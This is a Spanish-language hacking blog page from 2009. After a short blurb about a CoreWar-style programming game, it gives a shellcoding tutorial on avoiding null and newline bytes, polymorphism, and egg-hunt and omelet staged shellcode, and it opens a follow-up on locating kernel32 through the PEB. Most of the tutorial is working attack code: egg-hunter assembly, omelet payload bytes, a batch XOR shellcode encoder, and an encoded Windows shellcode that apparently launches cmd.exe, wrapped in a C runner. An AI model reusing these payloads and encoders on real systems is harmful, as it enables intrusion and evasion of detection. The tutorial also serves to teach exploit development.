SSWar

Publicado en Proyectos el Septiembre 22, 2009 por lShadowl

SSWar es un juego de programacion inspirado en el CoreWar.

El objetivo del juego es crear un programa que sea capaz de mantenerse mas tiempo que los demas programa en memoria. Estos programas tienen la capacidad de moverse en la memoria, reproducirse y destruir otros procesos de los demas programas en juego. Los programas participantes en el juego son compilados por una maquina virtual que los ejecuta y crea una memoria virtual en la que los programas se “mueven”.

El lenguaje utilizado para crear los programas esta basado en ensamblador de 16 bits de intel.

Desarrolladores: Ni0 – Ramc – Shadow

Estado del proyecto: En desarrollo

Version actual: beta semi-estable (no publica)

Shellcoding: No mas bytes nulos!

Publicado en Tutoriales & Manuales con etiquetas , , , , , , , , , , el Septiembre 13, 2009 por lShadowl
Shellcoding: No mas bytes nulos!

por lShadowl

Este articulo toca, ademas de la evasion de la presencia de caracteres restringidos (“00″, “0D0A”) en nuestra shellcode por medio de un metodo simple de codificacion XOR, algunos problemas comunes al programar shellcodes y como se han logrado resolver.

Teoria :)

Para entender por que algunos bytes o pares de bytes son restringidos o devieramos evitarlos a la hora de programar una shellcode debemos primero entender como los exploits manejan la shellcode, para que la utilizan, para eso veamos que es un exploit:

Un exploit es un programa que aprovecha un fallo o vulnerabilidad de otro programa para causar un comportamiento anormal en el, mayormente se busca la toma de control de un sistema o un ataque de negacion de servicio.

Los exploits actuan inyectando una porcion de codigo malicioso (la shellcode) dentro de una cadena de characteres de el programa vulnerado recibe y que posteriormente por un error en su programacion este ejecuta o crealiza algun proceso como simplemente copiar la cadena donde fue inyectada la shellcode a un lugar de memoria causando un desbordamiento de buffer si es lo que se pretendia.

Este es el punto de cuidado al codear la shellcode, como vimos, estas son injectadas a un programa que recibe una cadena de caracteres como entrada.

>>Printable x86 opcodes table

Como podemos ver en la tabla de opcodes, los valores hexadecimales de CR y LF (un salto de linea) son “0D” y “0A” respectivamente, es decir que si se injecta una shellcode con estos caracteres, el programa host (donde se inyecta) indentificara la secuencia y hara el salto de linea causando efectos catastroficos en el funcionamiento de la shellcode, esto mismo para con el byte “00″ (byte nulo), el que en una cadena supone su final, otro byte que tenemos que evitar.

+Teoria: otros problemas comunes al codear //clases de shellcodes

->Shellcodes polimorficas:

Un metodo para evitar heuristicas es el polimorfismo, los creadores de vx sabran que hacer una shellcode polimorfica es lo mismo que trabajar esa tecnica en la creacion de virus.

Basicamente esta tecnica consiste en hacer que el programa sea capaz de modificar su codigo por si mismo y llegar a un mismo resultado.

Como? veamos de que estoy hablando por medio de relaciones:

a+b=c

b+c=c

1(a+b)=c

(a+(2*3))+(b+6)=c

Como podemos ver, operaciones diferentes, llegan al mismo resultado.

Igual en asm:

{

xor cx,cx

add cx,32h

}opcodes: 31C983C132 // cx=32h

{

xor cx,cx

mov cl,31h

inc cx

}opcodes: 31C9B13141 // cx=32h

El primer conjunto de instrucciones “31C983C132″ son diferentes al segundo “31C9B13141″, sin embargo tienen la misma cantidad de bytes y llegan al mismo resultado con el registro cx.

Esta es la base del polimorfismo, aunque tambien se utiliza para modificar la shellcode buscando eliminar bytes restringidos como veremos mas adelante.

-> Staged shellcodes ~ Shellcode por etapas:

Muchas veces existe el problema de que el programa vulnerable nos limita el tama?o que es capaz de recibir, en este caso la estrategia del atacante es introducir una seccion de shellcode peque?a que hace funcion de ’stub’ cargando el resto de la shellcode estando ya dentro del host.

Existen otros tipos de staged shellcode, la egg-hunt shellcode y la omelet (similar a la egg-hunt).

–> Egg-hunt ~ Caceria de huevos:

La egg-hunt basa su estrategia en cargar la parte mayor en un lugar de memoria con espacio para mantenerla pero con una direccion desconocida, este vendria siendo el huevo, el loader, la primera seccion de la shellcode en inyectarse es la encargada de revisar cada proceso en busca del huevo (la otra seccion de la shellcode).

Veamos un ejemplo:

Código:
egghunt:
jmp startup

exception_handler:
mov eax, [esp + 0x0c]
lea ebx, [eax + 0x7c]
add ebx, 0x3c
add [ebx], 0x07
mov eax, [esp]
add esp, 0x14
push eax
xor eax, eax
ret

startup:
mov eax, 0x42904290         ;marca del huevo, en este caso:
                                    ;nop
                                    ;inc edx
                                    ;nop
                                    ;inc edx
jmp init_exception_handler_skip
init_exception_handler_fwd:
jmp init_exception_handler
init_exception_handler_skip:
call init_exception_handler_fwd

init_exception_handler:
pop ecx
sub ecx, 0x25
push esp
push ecx
xor ebx, ebx
not ebx
push ebx
xor edi, edi
mov fs:[edi], esp

search_loop_begin_pre:
search_loop_start:
xor ecx, ecx
mov cl, 0x2
push edi                    ;posible punto de inicio del huevo a la pila
repe scasd                  ;el puntero actual es el inicio del huevo?
jnz search_loop_failed      ;no, ok sigamos con el siguiente
pop edi                     ;bien, restauramos el punto de inicio
jmp edi                     ;vamos donde esta resto de la shellcode

search_loop_failed:
pop edi
inc edi
jmp search_loop_start

–>Omelet~Varios huevos batidos cocinados con mantequilla. Excelente con queso :D :

La unica diferencia entre el metodo egg-hunt y el omelet es que el loader del omelet inyecta varias secciones de shellcode (huevos) en diferentes procesos. Este metodo se usa cuando es limitado el tama?o permitido de inyeccion en el proceso seleccionado, generalmente los “huevos” son bastante peque?os. El omelet (loader de la shellcode) esta encargado de buscar cada una de las secciones y unirlas en una sola.

Este metodo solo es valido para win32 ya que es necesario usar la SEH (Structured Exception Handler) que se encarga de manejar las violaciones de acceso causadas por el escaneo progresivo de la memoria.

Veamos por encima las estructuras del SEH:

EXCEPTION_POINTERS Structure:

Contiene un expediente de la descripcion de la excepcion y su contexto cuando sucedio.

Código:
typedef struct _EXCEPTION_POINTERS {
  PEXCEPTION_RECORD ExceptionRecord;
  PCONTEXT          ContextRecord;
}EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;

EXCEPTION_RECORD Structure:

Describe la excepcion.

Código:
typedef struct _EXCEPTION_RECORD {
  DWORD                    ExceptionCode;
  DWORD                    ExceptionFlags;
  struct _EXCEPTION_RECORD *ExceptionRecord;
  PVOID                    ExceptionAddress;
  DWORD                    NumberParameters;
  ULONG_PTR                ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
}EXCEPTION_RECORD, *PEXCEPTION_RECORD;

Un ejemplo del w32_SEH_omelet.py de Skypher:

Código:
 // This is the binary code that needs to be executed to find the eggs,
 // recombine the orignal shellcode and execute it. It is 82 bytes:
 omelet_code = "\x31\xFF\xEB\x23\x51\x64\x89\x20\xFC\xB0 ... \xFF\x50\x08";

 // These are the eggs that need to be injected into the target process
 // for the omelet shellcode to be able to recreate the original shellcode
 // (you can insert them as many times as you want, as long as each one is
 // inserted at least once). They are 64 bytes each:
 egg0 = "\x3B\xFF\x76\x08\x28\x33\xC9\x64\x8B\x71\x30\x8B ... \x57\x51\x57";
 egg1 = "\x3B\xFE\x76\x08\x28\x8D\x7E\xEA\xB0\x81\x3C\xD3 ... \x24\x03\xCD";
 egg2 = "\x3B\xFD\x76\x08\x28\x0F\xB7\x3C\x79\x8B\x4B\x1C ... \x47\xF1\x01";
 egg3 = "\x3B\xFC\x76\x08\x28\xAB\xAB\x57\x54\x52\x52\x52 ... \x40\x40\x40";

Encriptado la shellcode:

Volviendo a la primera parte de la teoria, recordemos el problema de los bytes nulos y saltos de linea, en esta seccion veremos dos metodos de encripcion: el alfanumerico y el xor.

–>Alfanumerico:

El metodo alfanumerico consiste en convertir la shellcode en un conjunto de opcodes alfanumericos, de caracteres que pueden ser impresos, para evitar problemas en la inyeccion de esta.

—> Ascii art:

“Si vamos a hacer una shellcode, tiene que verse bien.”

Cita:
WTX638WYWX4H4Pd38V34L3w0V34034Lj034LQXH41VV34LT34L Z1dDh3dDhRQXH4d4XPhAAQBhYYYYfhXBZBBBBRJfRT14L34LWH Hh

28HHXTX38d39GGGGV3717RQXH4A4a1dDb3dDbABCEFGHIJKMNO ABCEFGHIJKMNOABCEFGHIJKMNOABCEFGHIJKMNOABCEFGHIJKA Bh

HH39VTX30VXH4r4PP34tjAX0DqbFkDqjQ2Dqk0D1Hu9YhTtYP6 hyUpvsojbdTxAyCPDEMZTDLbprjhbXWISM3YfPmysvndkWTooN qT

DDMJGEIL7″”"”"”"*Y”"”"YHBDAILHGAMILHG7″”"”"YBMKNIL GIAIGKGEGICAEBGDGNGIFJNDGCDA7*”"”7ILPELFACCLOBJJGG LK

DDDCFCG’,dIHHHDDb,’CFb`PCLOBNGILPMPDK YKEB7 FB7″”"7EBFBFHFBFHINHOOKLAIBDMNDHFA dGJ7 “YFPPFHPMJFFHGAILF

NDMILFM BNH , cIAY DNN ILELCAADMNDDPPb JJE dHI LDE LJADPFKMDEHBCKNADMHBHFPHDKF ECE sa BMHFOKILELCEADMN

APLHDMH JIL,”"—, ELB MA7″”"*”"”7Y*”" 7DM NA7″—dY”"”*Y*”"*YDY*”"”"”*YCY*”"* MLJ Y J*”"”"”*YFFPKLFHG

BDLPHKM “YHFLEFOb, KNP P’,NA7 dKY dNP”,PN AJ YFLb`.YIAb,dCHb,’,dGALDMb,’,dGGb,JIF ,’,dAFEKNb,’FFPPNAI

FMAHEPI:—–,”JJF CFC ‘,IN7 dHM d CED EKL MGb EHP B ABK”‘*LKL FHF .,EFC FCF*’”CFE F CFC – **Y FGFCPPF

GOEILEG dPM7 O LNJ AAPTCBC( VEJ T JOH JOH QLB “”" B WDZ P QKS LZNGY**”` OGW W ONM Y `”**+uq,.’WPELAFG

VPJLWUR URH “” FYG POI .’FVb YVQ ‘,PLP GZJ “”" “ODb’ JXM E XTO COY – pqd ILD,.qOXQ 7 bpp – YKH FFKMSLB

EUSUKOX.’YWMFRRXY’,CAY Di’ZQb YIEY”OWP BYOKJACSOKY” dYOS ‘dVFB “YXVNQBY”,”YOUY”YBFb ,”YNFHOQY”.WVKQJLV

PUZZLCMFbasouvnandansodGDbuan?—, CKL eanuxzvcumndbuasodbzasudbeasznvodSboezn1ozxvdLbneu oasobXLJYYBFU

VQDTSOVGXSPY7″”"”"”"*Y”"”"7D dBW” JXO KU7″”"”"*”"”YEGLJQQLQAKSGBDEMEQLEZHTB7*”"”YKKMOPFM UWUXNFJSNPFXV

DRRQAIRQQMG’,dTRUKCHb,’SYb`Q.”YHXQZSY”.IX YONQ7.CM7 CVYAXXNBXGLFHZAKJJFEDTGW dGZ7 IRMYHDUZXIAJXIYXYRMI

MIFQRSWKMJM QVQ’, eSCY ZMR RZbaesuozsdFZXb TZH QXJ JJXZYDOSIJOLWJYIIMKVIXAVK NJH dMDTSKTOAHGWBWGIJNLIS

NHNTEDQNQSJ WFX,”"—, XSM *”"*YLY*”"”"”*Y EAA FHQ Y*”"”"”*YIY*”"”"”*YVY*”"* FML Y*”"”"”*YMAECTMQWHUOY

YFWWCIECNFK “YXIXSEAb, HFF,dSIb,’,dYPSBBb, KMH TZT ,dZQNONb,’,dNCHOVb,’,dMCb,UJP ,dNUSEJb,’KZOIXHNWBVS

GJJKBJSBMXM:—–,”KTM ORX”‘*ZUW dHA’.,ZEU SGQ UKA VLO’,`**Y OTZ’,`PYM NYN*’”PLF MJZ .,PZK RFNIKQUBDHT

QTDWEVEOXGX dVL7 Y JWC TFR Z WIL ZZNMY**”‘ ZTA CGW OND CT+=- PYQ Z QFA RJC Q GTR CGPXY**”`.YIHIUTGYLFP

IQENEBPJILC NGC,”".FIS IKK C VMZ BKO,-,qqd TUK RVY YFR,’.qqd ENO,’.SAF GZT,.qHLE HQZ – qqd FWSFUKJCEFB

YJASYKFYRCB.’YJFTEXVY’,BHY Q YGY,”YJDBBAY”,UKMb’GWb`YCABKYY”.”YDWYHIY”.”YMUY”YC Ab”YBIIYNY”,IEXZKKUMPQD

PDHBLIWPDBMQbouaenoxzdzzxedBbxoasdenxzsasdoeuneuza s1moxcasedGbzxnmexadPbaeox1xauo1eusazxzdMQGIJYYGPQ ZZ

AUYYKTZCTAWMTGVCPAMQKGZZZIUASOMJGHRKNLDYLHZYSGDJVX ETRKMNMJRUNVIOPGMZHBVXFTXWVCRQBBKJGCZPIYDFDSHGISXZ AL

ANUEFFTCYBBZKFUZRIHQPHPYDZJHOWXKUMBNWXGHBCGHWHDYVO NRGKECYYRBNTBKDLVNGQZAYMFPJVGZWXZCCJIGSNIJKRTNRZKV ZX

XPBMUPTRCDXTGCPOSCTMUQYQOZKYENJPDLZSXUFEUJCNBBZFOR BAUMFUGXFCBPQKIPHAJGITAHUNUOKFJAWSZCYASNQDNOBKJBZT UN

>> http://skypher.com/wiki/index.php/Ha…CII_Art/Blocky

Y aqui: ALPHA2, un codificador alfanumerico para shellcodes.

–> XOR-enado

Una shellcode de este tipo consiste en dos partes: el ’stub’, que se encarga de decodificar el codigo encriptado y ejecutarlo y el codigo encriptado en si.

Para este tutorial he creado un simple script batch que nos permite codificar la shellcode por el metodo XOR.

Veamos el codigo:

Código:
:: shc_encoder (Codificador de shellcodes)
:: Autor: lShadowl; The Shadow
:: Fecha de realizacion: 07/08/09
:: Caracteristicas:
::	-Utiliza el metodo xor para encriptar.
:: 	-Proporciona el codigo fuente (en asm) para crear la rutina decodificadora correspondiente.
::	-Identifica la existencia de bytes nulos y saltos de linea.
::	-Cambia el metodo de encriptacion si es necesario para que no existan bytes nulos o saltos de linea.
:: Limitaciones:
::	-Tama?o maximo de la shellcode de entrada: 61423 bytes
::	-Formato de la shellcode de entrada: \x<byte en hexadecimal>. Ejemplo: \xc7\xe2\xf0\x52
@echo off
setlocal enabledelayedexpansion
if '%1==' (goto:err)
if exist %1 (for /f "delims=" %%a in (%1) do set shellcode=%%a) else (goto:err)
echo =Shellcode original: %shellcode%
set hexstr=0123456789abcdef&& set xor_value=9

:encode
set sc_sz=0&& set i=2&& set/a xor_value+=0x01&& set encoded_shellcode=
echo =^>  Codificando Opcodes (xor 0x%xor_value%)...
:encode_loop
set current_byte=!shellcode:~%i%,2!&& set encodedbyte_hex=
if %current_byte%'==' (goto:test)
set/a encoded_byte=0x%current_byte%^^0x%xor_value%
call:d2h %encoded_byte%
if /i %hex:~-2% lss 10 set hex=0%hex:~-2%
set encoded_shellcode=%encoded_shellcode%\x%hex:~-2%
set/a i+=4&& goto:encode_loop

:test
echo =Shellcode codificada: %encoded_shellcode%
echo =^>  Moviendo shellcode codificada a sc.shellcode...
echo %encoded_shellcode%>sc.shellcode
echo =^>  Buscando bytes nulos y saltos de linea en sc.shellcode...
for %%a in (\x00 \x0d\x0a) do (type sc.shellcode|find "%%a">nul
	if !errorlevel!==0 (echo =^<    %%a encontrado con: xor 0x%xor_value%
		goto:encode))

:len_loop
set var=!shellcode:~%sc_sz%,1!
if %var%'==' goto:build_decoder
set/a sc_sz+=1
goto:len_loop

:build_decoder
echo =^>  Creando codigo fuente del stub decodificador...
set/a sc_sz/=4
set/a sc_sz+=0x1010
call:d2h %sc_sz%
echo ****************%hex: =%%xor_value%_decoder.asm********
(echo [BITS 32]
echo global ini
echo ini:
echo 	jmp short sc_data
echo decode_routine:
echo   	pop ebx
echo 	xor ecx,ecx
echo 	mov cx, 0x%hex: =%
echo 	sub cx, 0x1010
echo decode_loop:
echo 	xor byte [ebx], 0x%xor_value%
echo 	inc ebx
echo 	loop decode_loop
echo 	jmp short shellcode
echo sc_data:
echo 	call decode_routine
echo shellcode:)>%hex: =%%xor_value%_decoder.asm
type %hex: =%%xor_value%_decoder.asm&& echo *****************************************
echo =Codigo del decodificador guardado en %hex: =%%xor_value%_decoder.asm

echo.&& echo ^>Proceso finalizado^<

goto:eof
:err
echo Uso: shc_encoder.bat ^<shellcode^>&& goto:eof

:d2h
set dec=%1&& set hex=
:loop
set/a ths=%dec% %% 16
call :evals %%hexstr:~%ths%,1%%
if /I %dec% GEQ 16 (set /A dec=%dec%/16) else (goto:EOF)
goto:loop
:evals
set hex=%1%hex: =%&& goto:EOF

El script esta bastante explicado asi que pasaremos a la prueba:

Usaremos la shellcode creada en el articulo “Creando una Shellcode“:

Cita:
\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x 8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f \xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x 2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52 \x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x 4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3 \x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\x c1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b \x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x 0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89 \x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x 5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68 \x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\x d5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65 \x20\x00

Como podemos ver, contiene muchos bytes nulos: “\x00″.

Veamos la salida al pasarlo por el script:

Cita:
=Shellcode original: \xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x 8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f \xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x 2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52 \x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x 4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3 \x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\x c1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b \x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x 0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89 \x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x 5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68 \x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\x d5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65 \x20\x00

=> Codificando Opcodes (xor 0×10)…

=Shellcode codificada: \xec\xf8\x99\x10\x10\x10\x70\x99\xf5\x21\xc2\x74\x 9b\x42\x20\x9b\x42\x1c\x9b\x42\x04\x9b\x62\x38\x1f \xa7\x5a\x36\x21\xef\x21\xd0\xbc\x2c\x71\x6c\x12\x 3c\x30\xd1\xdf\x1d\x11\xd7\xf2\xe0\x42\x47\x9b\x42 \x00\x9b\x52\x2c\x11\xc0\x9b\x50\x68\x95\xd0\x64\x 5a\x11\xc0\x40\x9b\x58\x08\x9b\x48\x30\x11\xc3\xf3 \x2c\x59\x9b\x24\x9b\x11\xc6\x21\xef\x21\xd0\xbc\x d1\xdf\x1d\x11\xd7\x28\xf0\x65\xe4\x13\x6d\xe8\x2b \x6d\x34\x65\xf2\x48\x9b\x48\x34\x11\xc3\x76\x9b\x 1c\x5b\x9b\x48\xc\x11\xc3\x9b\x14\x9b\x11\xc0\x99\ x54\x34\x34\x4b\x4b\x71\x49\x4a\x41\xef\xf0\x48\x4 f\x4a\x9b\x02\xfb\x96\x4d\xf9\x1e\x10\x10\x10\x78\ x21\x9b\x7f\x97\xef\xc5\x78\xe0\xa5\xb2\x46\xef\xc 5\xf8\xfd\xef\xef\xef\x73\x7d\x74\x3e\x75\x68\x75\ x30\x10

=> Moviendo shellcode codificada a sc.shellcode…

=> Buscando bytes nulos y saltos de linea en sc.shellcode…

=< \x00 encontrado con: xor 0×10

=> Codificando Opcodes (xor 0×11)…

=Shellcode codificada: \xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x 9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e \xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x 3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43 \x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x 5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2 \x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\x d0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a \x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x 1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\ x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4 e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\ x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc 4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\ x31\x11

=> Moviendo shellcode codificada a sc.shellcode…

=> Buscando bytes nulos y saltos de linea en sc.shellcode…

=> Creando codigo fuente del stub decodificador…

****************10c111_decoder.asm********

[BITS 32]

global ini

ini:

jmp short sc_data

decode_routine:

pop ebx

xor ecx,ecx

mov cx, 0×10c1

sub cx, 0×1010

decode_loop:

xor byte [ebx], 0×11

inc ebx

loop decode_loop

jmp short shellcode

sc_data:

call decode_routine

shellcode:

*****************************************

=Codigo del decodificador guardado en 10c111_decoder.asm

>Proceso finalizado<

Bien, ya tenemos la shellcode codificada sin bytes nulos ni saltos de linea:

Cita:
\xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x 9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e \xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x 3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43 \x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x 5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2 \x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\x d0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a \x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x 1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\ x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4 e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\ x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc 4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\ x31\x11

—> El Stub:

Estudiemos el stub creado por el script:

Código:
[BITS 32]
global ini
ini:
	jmp short sc_data	;obtenemos el puntero al codigo de la shellcode
decode_routine:
  	pop ebx                   	;puntero al inicio de la shellcode a ebx
	xor ecx,ecx			;ecx a cero
	mov cx, 0x10c1           ;tama?o de la shellcode mas 0x1010
	sub cx, 0x1010		;cx menos los 0x1010 a?adidos (la explicacion mas adelante)
decode_loop:
	xor byte [ebx], 0x11	;byte contenido en ebx decodificado
	inc ebx			;ebx++
	loop decode_loop		;cx=0? no, sigue decodificando
	jmp short shellcode	;si, ejecutemos la shellcode
sc_data:
	call decode_routine	;puntero a la shellcode a la pila
shellcode:

Veamos las lineas del decodificador:

Código:
	mov cx, 0x10c1
	sub cx, 0x1010

Y la del codificador:

Código:
set/a sc_sz+=0x1010

Por que es necesario sumar 0×1010 y luego restarlos al valor de cx, no da lo mismo y es mas sencillo hacer algo como:

Código:
	mov cx, 0xb1

???

Si, si es mas sencillo, pero veamoslo en opcodes:

Código:
	mov cx, 0x10c1
	sub cx, 0x1010

>>B9C11081E91010

Código:
	mov cx, 0xb1

>>B9B100

Todo bien, pero notese algo:

B9B100

Un byte nulo, asi, para evitar bytes nulos en el decodificador el script usa lo que vimos en polimorfismo, diferentes instrucciones para llegar a un mismo punto, asi, hay menos probabilidades de que el stub quede inservible con bytes nulos, no digo que sea imposible, eso es parte del programador, pero es una tecnica que ayuda a evitarlo.

Probando todo

-Tenemos el stub para la shellcode:

Cita:
\xeb\x14\x5b\x31\xc9\x66\xb9\xc1\x10\x66\x81\xe9\x 10\x10\x80\x33\x11\x43\xe2\xfa\xeb\x05\xe8\xe7\xff \xff\xff

-Tenemos la shellcode codificada:

Cita:
\xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x 9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e \xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x 3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43 \x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x 5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2 \x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\x d0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a \x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x 1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\ x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4 e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\ x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc 4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\ x31\x11

Encapsulamos en C:

Código:
char code[] = "\xeb\x14\x5b\x31\xc9\x66\xb9\xc1\x10\x66\x81\xe9\x10\x10\x80\x33\x11\x43\xe2\xfa\xeb\x05\xe8\xe7\xff\xff\xff\xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e\xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43\x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2\x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\xd0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a\x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\x31\x11";

int main()
{
	int (*func)();
	func = (int (*)()) code;
	(int)(*func)();
}

funciona!! :)

Referencias

Understanding Windows Shellcode
en.wikipedia.org/wiki/Shellcode
skypher.com/wiki/index.php/Main_Page

Articulos mios relacionados al shellcoding:

Creando una Shellcode (x86¦win)
Creando una Shellcode: “Direccion de kernel32 y calls especiales”

Saludos!

Creando una Shellcode: Direccion de kernel32 y calls especiales

Publicado en Tutoriales & Manuales con etiquetas , , , , , , , , , el Septiembre 12, 2009 por lShadowl
Creando una Shellcode

Direccion de kernel32 y calls especiales

Articulo previo: Creando una Shellcode

por lShadowl

———————————————————————————————————–

Siguiendo con el tema de las shellcodes, en este articulo se vera el problema de shellcodes para versiones de SO especificos en los que la llamada a la API se hace directamente. Se expondra como obtener la direccion actual donde se ha cargado kernel32.dll y como llamar funciones.

———————————————————————————————————–

Teoria

Nota: Info sobre las estructuras: http://ntinternals.net/ ; http://msdn.microsoft.com/

Para encontrar la direccion de kernel32 hay varios metodo de los cuales los mas notables son usando: PEB (el que explicare en este articulo), SEH (Structured Exception Handling) y TOPSTACK (basado en el uso del TEB //Thread Environment Block).

PEB (Process Environment Block) es una estructura que contiene la informacion de los procesos cargados en Windows. Su estructura es la siguiente:

Código:
typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  BYTE                          Reserved4[104];
  PVOID                         Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved6[128];
  PVOID                         Reserved7[1];
  ULONG                         SessionId;
}PEB, *PPEB;

La direccion de esta estructura se en fs:[0x30], esto quiere decir que con:

Código:
mov ebx,fs:[0x30]

podemos tener en ‘eax’ un puntero a PEB. Pero para que nos sirve tener acceso a PEB?

En la estructura del PEB podemos ver que uno de sus valores es un puntero a LDR_DATA:

Código:
 PPEB_LDR_DATA                 Ldr;

Ahora, veamos la estructura de PEB_LDR_DATA:

Código:
typedef struct _PEB_LDR_DATA {

ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;

} PEB_LDR_DATA, *PPEB_LDR_DATA;

